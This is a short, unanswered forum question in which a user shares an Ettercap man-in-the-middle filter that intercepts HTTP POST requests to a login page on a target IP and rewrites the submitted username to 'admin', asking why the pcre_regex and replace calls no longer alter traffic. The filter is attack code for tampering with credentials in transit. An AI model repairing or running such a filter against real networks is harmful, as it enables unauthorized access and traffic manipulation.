Ettercap pcre_regex or replace not working anymore

13 views Asked by At

I’m trying to get this Ettercap filter to work which has worked in the past but it seems Ettercap no longer accepts it? It’s supposed to change the username given to admin:

if (ip.dst == ‘192.###.##.#' && tcp.dst == 80) {
if(search(DATA.data, "POST")){

msg("request POST");

if (search(DATA.data, "login.php")){
msg("Call to the login page");
pcre_regex(DATA.data, "Content-Length: [0-9]*","Content-Length: 41");
msg("Content modified");

if (pcre_regex(DATA.data, "username=[a-zA-Z]*&","username=admin&")){
msg("Data modified\n");
}

msg("Done !\n");
}
}
}

I also tried using replace and execinject, the code runs and the messages are displayed, but nothing gets replaced.

Please helpp!!

Sincerely, Marco

I already tried a ton docs and solutions online and nothing :/

0

There are 0 answers